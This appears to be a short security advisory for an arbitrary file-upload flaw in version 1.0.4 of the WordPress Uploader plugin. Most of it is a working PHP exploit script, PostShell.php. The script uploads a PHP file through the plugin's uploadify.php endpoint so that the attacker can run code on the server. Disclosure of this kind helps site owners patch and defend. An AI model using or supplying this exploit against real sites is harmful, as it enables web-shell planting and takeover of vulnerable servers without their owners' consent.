The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected.

PostShell.php

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",

'folder'=>"/wordpress/wp-content/uploads",

'fileext'=>'php'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>
